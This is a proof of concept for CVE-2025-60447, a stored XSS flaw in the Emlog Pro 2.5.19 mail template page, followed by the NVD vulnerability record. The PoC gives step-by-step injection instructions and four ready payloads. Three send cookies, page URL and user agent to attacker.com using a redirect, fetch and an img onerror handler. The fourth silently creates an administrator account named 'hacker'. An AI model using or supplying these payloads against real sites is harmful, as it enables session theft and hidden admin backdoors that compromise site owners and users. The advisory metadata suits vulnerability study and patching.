CVE-2025-60447

<!-- CVE-2025-60447 PoC - Stored XSS in Emlog Pro Mail Template --> <!-- Vulnerability location: /admin/setting.php?action=mail --> <!-- Step 1: Login as administrator and navigate to mail template settings --> <!-- Step 2: Inject malicious payload into the mail template content field --> <!-- Payload 1: Basic cookie stealing --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Payload 2: Session hijacking via fetch --> <script> fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, ua: navigator.userAgent }) }); </script> <!-- Payload 3: Admin action abuse - create new admin account --> <script> var xhr = new XMLHttpRequest(); xhr.open('POST', '/admin/user.php?action=add', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('username=hacker&password=hacker123&role=admin'); </script> <!-- Payload 4: Using img tag for simpler exploitation --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Step 3: Save the template - payload is now stored in database --> <!-- Step 4: When any admin views the mail template page or receives an email using this template, the XSS payload executes automatically -->

{"cve": {"id": "CVE-2025-60447", "sourceIdentifier": "[email protected]", "published": "2025-10-03T14:15:46.150", "lastModified": "2025-10-08T15:25:42.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored Cross-Site Scripting (XSS) vulnerability has been discovered in Emlog Pro 2.5.19. The vulnerability exists in the email template configuration component located at /admin/setting.php?action=mail, which allows administrators to input HTML code that is not properly sanitized, leading to persistent JavaScript execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:2.5.19:*:*:*:pro:*:*:*", "matchCriteriaId": "14DE5FC1-03FE-47D8-9958-0300C5B25F77"}]}]}], "references": [{"url": "https://snowhy77.github.io/2025/08/21/Stored-XSS-Vulnerability-in-Emlog-Pro-HTML-Injection/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}